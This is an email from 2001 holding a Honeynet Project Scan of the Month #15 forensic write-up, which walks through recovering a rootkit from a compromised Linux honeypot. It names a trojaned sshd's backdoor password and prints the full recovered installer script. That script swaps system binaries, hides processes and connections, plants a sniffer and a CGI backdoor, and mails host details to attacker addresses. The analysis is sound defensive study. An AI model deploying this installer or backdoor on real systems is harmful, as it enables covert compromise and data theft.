From dayioglu@metu.edu.tr Tue May 22 22:39:07 2001 Date: Mon, 14 May 2001 23:38:23 +0300 From: Burak DAYIOGLU To: project@honeynet.org Subject: Answers for Scan of the Month #15 [ The following text is in the "iso-8859-9" character set. ] [ Your display is set for the "ISO-8859-1" character set. ] [ Some characters may be displayed incorrectly. ] Hello Guys, My answers for the Scan of the Month #15 are given in the ASCII text file attached. Once again, thanks for this great project. Burak DAYIOGLU [ Part 2: "Attached Text" ] [ The following text is in the "iso-8859-9" character set. ] [ Your display is set for the "ISO-8859-1" character set. ] [ Some characters may be displayed incorrectly. ] Hello Honeynet Guys, Please find below my answer to the Scan of the Month #15. Thanks again for such a good organization and letting us practice :) -------- SCAN OF THE MONTH #15 ANSWERS ----------- I've prepared my answer as a kind of tutorial. If all my findings are correct, and I guess so, this will be a good tutorial... Answers to questions are not marked but all including the bonus is given. On an isolated Mandrake Linux 7.2, I downloaded the tarball and untarred it in /home/burak/honeynet. I configured loop1 device as below: losetup /dev/loop1 /home/burak/honeynet/honeypot.hda8.dd Then I mounted it over /oldvmware (guess what, and old trial installation of vmware): mount -o ro /dev/loop1 /oldvmware/ Mounted read-only not to disturb the filesystem and not to lose anything on it. Assuming the attacker was nothing more than a lame script kiddie, I decided to start with a simple find: find /oldvmware -name '.*' -print A shortened output of find was something like the below: (Only valuable files for evidence is shown). /oldvmware/dev/ida/.drag-on /oldvmware/dev/ida/.. /oldvmware/root/.bash_history /dev/ida contained ".drag-on" and ".. ". Dragon directory listing is as follows: total 647 -rwx------ 1 root root 7165 Mar 16 03:45 linsniffer* -rwx------ 1 root root 75 Mar 16 03:45 logclear* -rwxr-xr-x 1 root root 632066 Mar 16 03:45 mkxfs* -rw-r--r-- 1 root root 708 Mar 16 03:45 s -rwxr-xr-x 1 root root 4060 Mar 16 03:45 sense* -rwx------ 1 root root 8268 Mar 16 03:45 sl2* -rw------- 1 root root 540 Mar 16 03:45 ssh_host_key -rw------- 1 root root 512 Mar 16 16:45 ssh_random_seed -rw-r--r-- 1 root root 138 Mar 16 18:28 tcp.log Of the files, linsniffer is the well known Linux Password Sniffer, tcp.log is the sniffer log file and sense is a perl script to pretty-print tcp.log and eliminate contained garbage. There is just one entry in the tcp.log file which most probably has been sanitized by Honeynet folks before delivery to us. :) The logclear perl script is there to clean up linsniffer logs (most probably after running sense on it). The ssh* files recall the existance of a modified sshd so I started to search for it. The "s" file in the same dir is sshd configuration file and mkxfs is a binary (at least "file" says so). Running strings on mkxfs revealed that this is a ssh daemon. The version string in the file shows it is version 1.2.27. Just in the list of strings was a suspicious string "Frunza14". My experiences told me that this was a definite backdoor password. Curiously running mkxfs with an ssh configuration "s" (a modified copy in another directory) I found out that it binds tcp port 5. It doesn't accept root password on the system, however ssh'ing as root with password Frunza14 ran like a charm. :) Voila, root! The sl2 program is some sort of packet forgery tool. Can send packets from one IP adress to another with given destination port ranges. A simple port scanner I guess... Searching with google "+sl2 +scanner" revealed some previous posting to honeynet scan of the month #13 by Andreas Schuster. The toolkit is almost the same with #13's. Finishing the .drag-on directory, I moved over to ".. " at /dev/ida. The ".. " directory listing is the same with that of ".drag-on", with a little difference. The tcp.log in this directory is of 0 bytes. Most probably, the attacker downloaded the kit to ".. " and copied the whole-damn-thing (tm) to ".drag-on" to keep a fresh copy to use in case of some trouble with .drag-on directory. .bash_history of the root user (/root/.bash_history) shows some interesting entries: exec tcsh ls mkdir /var/... ls cd /var/... ftp ftp.home.ro tar -zxvf emech-2.8.tar.gz cd emech-2.8 ./configure y make make make install mv sample.set mech.set pico mech.set ./mech cd /etc pico ftpaccess ls exit Well, not difficult to guess something had happened in "/var/...". As we are not having a disk-dump of /var, I started to search for "emech" with Google (my preferred search engine). "+emech +warez" returned a reference to irc.themes.org/bots section, I found out it was EnergyMech IRC bot. None of my business, so I leave out going after the bot any more. (Hey kiddie, 2.8.1 of emech is out, still using that old 2.8.0?) It was time to start with The Coroner's Toolkit. I installed TCT on the box, and started grave-robber of TCT: ./grave-robber -v -c /oldvmware/ -o LINUX2 It run a few minutes and created the database. Than, noting that ".. " directory is last accessed on Mar 16, 2001 I started mactime of TCT as below: ./mactime -p /oldwmware/etc/passwd 03/14/2001 The last few lines of the mactime output are below: Mar 16 01 19:20:00 442644 .a. -rwxr-xr-x root root /oldvmware/bin/bash 4 .a. lrwxrwxrwx root root /oldvmware/bin/sh -> bash 457 .a. -rw-r--r-- root root /oldvmware/etc/group 12210 .a. -rw-r--r-- root root /oldvmware/etc/ld.so.cache 340663 .a. -rwxr-xr-x root root /oldvmware/lib/ld-2.1.3.so 11 .a. lrwxrwxrwx root root /oldvmware/lib/ld-linux.so.2 -> ld-2.1.3.so 4101324 .a. -rwxr-xr-x root root /oldvmware/lib/libc-2.1.3.so 13 .a. lrwxrwxrwx root root /oldvmware/lib/libc.so.6 -> libc-2.1.3.so 75131 .a. -rwxr-xr-x root root /oldvmware/lib/libdl-2.1.3.so 14 .a. lrwxrwxrwx root root /oldvmware/lib/libdl.so.2 -> libdl-2.1.3.so 19 .a. lrwxrwxrwx root root /oldvmware/lib/libtermcap.so.2 -> libtermcap.so.2.0.8 12224 .a. -rwxr-xr-x root root /oldvmware/lib/libtermcap.so.2.0.8 58608 .a. -rwxr-xr-x root root /oldvmware/sbin/insmod 6 .a. lrwxrwxrwx root root /oldvmware/sbin/rmmod -> insmod They show that, the game ended at 19:20, probably just after Honeynet guys discovered the breakin. So, now we have an end date for the game... What is the starting date? I picked a date, 01/01/2001 and started mactime with it. The first few lines were indicating a rootkit installation at Feb 26: Feb 26 01 17:23:33 33280 m.. -rwxr-xr-x root root /oldvmware/bin/ps Feb 26 01 17:23:42 35300 m.. -rwxr-xr-x root root /oldvmware/bin/netstat Feb 26 01 17:23:47 19840 m.. -rwxr-xr-x root root /oldvmware/sbin/ifconfig The box was running RedHat 6.2 (at least /etc/redhat-release is saying so). I compared netstat with that of a fresh RH6.2 and found out that the netstat is not the one out-of-the-box. The first modification to netstat is at Feb 26, so I guess the attacker came on Feb 26, instead of the announced Mar 15 in the contest... A string dump showed the netstat binary was of net-tools 1-32-alpha, redhat 6.2 comes with net-tools 1.57. Then I ran mactime with starting date of 01/01/2001. In 2001, the very first entry is Feb 26 activity which I gave before. The attacker probably planted much more on that date, but they are removed by the system administrators after finding it out. I guess they have had left the door open purposely. Attacker came back at Mar 16 03:45 (or little earlier): Mar 16 01 03:44:50 35300 .a. -rwxr-xr-x root root /oldvmware/bin/netstat 33280 .a. -rwxr-xr-x root root /oldvmware/bin/ps He planted ".. " and ".drag-on" in /dev/ida next and after that he used /dev/last and /dev/rpm. The contents of these files are below: /dev/rpm: 3 sl2 3 sshdu 3 linsniffer 3 smurf 3 slice 3 mech 3 muh 3 bnc 3 psybnc /dev/last: 1 193.231.139 1 213.154.137 1 193.254.34 3 48744 3 3666 3 31221 3 22546 4 48744 4 2222 Don't know what they are. rpm looks like a listing of programs to hide from process table listings. However, ls and other tools show that they have been recovered to the originals. So there doesn't seem to be any references to these files in the existing binaries. The meanings of these files are given in Schuster's previously referenced post. My guess with /dev/rpm was correct. /dev/last was to hide network connections (I will not explain it here, as given before in his post). The /etc/inetd.conf and /etc/services have been modified probably for planting a backdoor which than removed by the Honeynet guys again. Then, I started unrm and lazarus to recover deleted files from the system: ./unrm /dev/loop1 >/vmware/recovered ./lazarus/lazarus -h /vmware/recovered The lazarus run half-an-hour and when it was finished, there were a bunch of files recovered. Examining the blocks recovered, I found block 385 contains the below strings: pidfile install computerer cleaner inetd.conf lsattr services sense ssh_config ssh_host_key ssh_host_key.pub ssh_random_seed sshd_config last.cgi netstat ifconfig logclear mkxfs Computerer, cleaner, sense, last.cgi, logclear are all new in this investigation but netstat/ifconfig/ssh*/mkxfs are known to be parts of the egg which makes this listing suspicious. Block 8510 contains sauber (a fancy log cleaner) and portions of the /etc/inetd.conf file. So, I now have recovered sauber from the deleted blocks. 8516 contains a script to start trojaned sshd and linsniffer. It is given below: #!/bin/sh cd /dev/ida/.drag-on ./mkxfs -f ./s ./linsniffer >> ./tcp.log & cd / Block 8547 contains (most probably) a portion of last.cgi, a cgi program to execute commands from remote systems via the Common Gateway Interface. Blocks 859x contain portions of a top program, either a trojaned version or the original one. Block 84383 contain interesting things as given below: To: last@linuxmail.org Subject: placinte * Info : Linux asdf1 2.2.14-5.0 #1 Tue Mar 7 20:53:41 EST 2000 i586 unknown * Hostname : asdf1 * IfConfig : inet addr:127.0.0.1 Bcast:127.255.255.255 Mask:255.0.0.0 inet addr:172.16.1.108 Bcast:172.16.1.255 Mask:255.255.255.0 * Uptime : 7:45pm up 8:23, 0 users, load average: 0.00, 0.00, 0.00 * Cpu Vendor ID : vendor_id : GenuineIntel * Cpu Model : model : 4 model name : Pentium MMX * Cpu Speed: cpu MHz : 200.457171 * Bogomips: bogomips : 399.77 * Spatiu Liber: Filesystem Size Used Avail Use% Mounted on /dev/hda8 251M 33M 205M 14% / /dev/hda1 23M 2.4M 19M 11% /boot /dev/hda6 1.6G 2.1M 1.5G 0% /home /dev/hda5 1.6G 367M 1.2G 23% /usr /dev/hda7 251M 5.3M 232M 2% /var ^@^@^@^@^@^@^@^@^@^@^@^@To: bidi_damm@yahoo.com Subject: roote * Info : Linux asdf1 2.2.14-5.0 #1 Tue Mar 7 20:53:41 EST 2000 i586 unknown * Hostname : asdf1 * IfConfig : inet addr:127.0.0.1 Bcast:127.255.255.255 Mask:255.0.0.0 inet addr:172.16.1.108 Bcast:172.16.1.255 Mask:255.255.255.0 * Uptime : 7:45pm up 8:23, 0 users, load average: 0.00, 0.00, 0.00 * Cpu Vendor ID : vendor_id : GenuineIntel * Cpu Model : model : 4 model name : Pentium MMX * Cpu Speed: cpu MHz : 200.457171 * Bogomips: bogomips : 399.77 * Spatiu Liber: Filesystem Size Used Avail Use% Mounted on /dev/hda8 251M 33M 205M 14% / /dev/hda1 23M 2.4M 19M 11% /boot /dev/hda6 1.6G 2.1M 1.5G 0% /home /dev/hda5 1.6G 367M 1.2G 23% /usr /dev/hda7 251M 5.3M 232M 2% /var They show that the attacker has somehow a relation with last@linuxmail.org, bidi_damm@yahoo.com. It seems that the attacker is attacking so many machines that he cannot keep track of them manually. :) Block 100169 has a password file with the following entry: root::0:0:root:/root:/bin/bash It seems that the attacker is over rude. :) Block 8499 contains the installer of the rootkit: (Spanish?) ------------------------------- INSTALLER BEGINS -------------------- #!/bin/sh clear unset HISTFILE echo "********* Instalarea Rootkitului A Pornit La Drum *********" echo "********* Mircea SUGI PULA ********************************" echo "********* Multumiri La Toti Care M-Au Ajutat **************" echo "********* Lemme Give You A Tip : **************************" echo "********* Ignore everything, call your freedom ************" echo "********* Scream & swear as much as you can ***************" echo "********* Cuz anyway nobody will hear you and no one will *" echo "********* Care about you **********************************" echo echo chown root.root * if [ -f /usr/bin/make ]; then echo "Are Make !" else echo "Nu Are Make !" fi if [ -f /usr/bin/gcc ]; then echo "Are Gcc !" else echo "Nu Are Gcc !" fi if [ -f /usr/sbin/sshd/ ]; then echo "Are Ssh !" else echo "Nu Are Ssh !" fi echo -n "* Inlocuim nestat ... alea alea " rm -rf /sbin/ifconfig mv ifconfig /sbin/ifconfig rm -rf /bin/netstat mv netstat /bin/netstat rm -rf /bin/ps mv ps /bin/ps rm -rf /usr/bin/top mv top /usr/bin/top cp -f mkxfs /usr/sbin/ echo "* Gata..." echo -n "* Dev... " touch /dev/rpm >/dev/rpm echo "3 sl2" >>/dev/rpm echo "3 sshdu" >>/dev/rpm echo "3 linsniffer" >>/dev/rpm echo "3 smurf" >>/dev/rpm echo "3 slice" >>/dev/rpm echo "3 mech" >>/dev/rpm echo "3 muh" >>/dev/rpm echo "3 bnc" >>/dev/rpm echo "3 psybnc" >> /dev/rpm touch /dev/last >/dev/last echo "1 193.231.139" >>/dev/last echo "1 213.154.137" >>/dev/last echo "1 193.254.34" >>/dev/last echo "3 48744" >>/dev/last echo "3 3666" >>/dev/last echo "3 31221" >>/dev/last echo "3 22546" >>/dev/last echo "4 48744" >>/dev/last echo "4 2222" >>/dev/last echo "* Gata" echo "* Facem Director...Si Mutam Alea.. " mkdir -p /dev/ida/.drag-on mkdir -p /dev/ida/".. " echo "* Copiem ssh si alea" cp linsniffer logclear sense sl2 mkxfs s ssh_host_key ssh_random_seed /dev/ida/.drag-on/ cp linsniffer logclear sense sl2 mkxfs s ssh_host_key ssh_random_seed /dev/ida/".. " rm -rf linsniffer logclear sense sl2 mkxfs s ssh_host_key ssh_random_seed touch /dev/ida/.drag-on/tcp.log touch /dev/ida/".. "/tcp.log cp -f inetd.conf /etc cp -f services /etc killall -HUP inetd echo echo echo echo "* Adaugam In Startup:) ..." rm -rf /usr/bin/lsattr echo "/usr/bin/lsattr -t1 -X53 -p" >> /etc/rc.d/rc.sysinit echo >> /etc/rc.d/rc.sysinit cp -f lsattr /usr/bin/ chmod 500 /usr/bin/lsattr chattr +i /usr/bin/lsattr /usr/bin/lsattr sleep 1 if [ -d /home/httpd/cgi-bin ] then mv -f last.cgi /home/httpd/cgi-bin/ fi if [ -d /usr/local/httpd/cgi-bin ] then mv -f last.cgi /usr/local/httpd/cgi-bin/ fi if [ -d /usr/local/apache/cgi-bin ] then mv -f last.cgi /usr/local/apache/cgi-bin/ fi if [ -d /www/httpd/cgi-bin ] then mv -f last.cgi /www/httpd/cgi-bin/ fi if [ -d /www/cgi-bin ] then mv -f last.cgi /www/cgi-bin/ fi echo "* Luam Informatiile dorite ..." echo "* Info : $(uname -a)" >> computer echo "* Hostname : $(hostname -f)" >> computer echo "* IfConfig : $(/sbin/ifconfig | grep inet)" >> computer echo "* Uptime : $(uptime)" >> computer echo "* Cpu Vendor ID : $(cat /proc/cpuinfo|grep vendor_id)" >> computer echo "* Cpu Model : $(cat /proc/cpuinfo|grep model)" >> computer echo "* Cpu Speed: $(cat /proc/cpuinfo|grep MHz)" >> computer echo "* Bogomips: $(cat /proc/cpuinfo|grep bogomips)" >> computer echo "* Spatiu Liber: $(df -h)" >> computer echo "* Gata ! Trimitem Mailul ...Asteapta Te Rog " cat computer | mail -s "placinte" last@linuxmail.org cat computer | mail -s "roote" bidi_damm@yahoo.com echo "* Am trimis mailul ... stergem fisierele care nu mai trebuie ." echo echo echo "* G A T A *" echo echo "* That Was Nice Last " cd / rm -rf last lk.tgz computer lk.tar.gz ------------------------------- INSTALLER ENDS -------------------- It seems that we have recovered all programs of the attacker except the last.cgi and computerer just because they were on a different filesystem. The recovered rootkit contains the files linsniffer logclear sense sl2 mkxfs s ssh_host_key ssh_random_seed last.cgi Unfortunately, I couldn't be able to recover the tarball (lk.tgz / lk.tar.gz). The rootkit was successfully installed on the system for sure, the existance of two directories (/dev/ida/.drag-on and /dev/ida/".. ") two files (/dev/rpm and /dev/last) trojaned binaries (at least netstat) installation start-up of an irc-bot prove this. Also /dev/ida/.drag-on has a tcp.log file with an entry in it. All questions are hopefully answered and the puzzle all solved. I've spent approximately 3.5 hours working on the case, in case anyone is considering cost-calculations. During the examination, I guess I've found files giving hints about where the honeypot was actually installed physically but I will not disclose it for the sake of the project. with best regards, Burak DAYIOGLU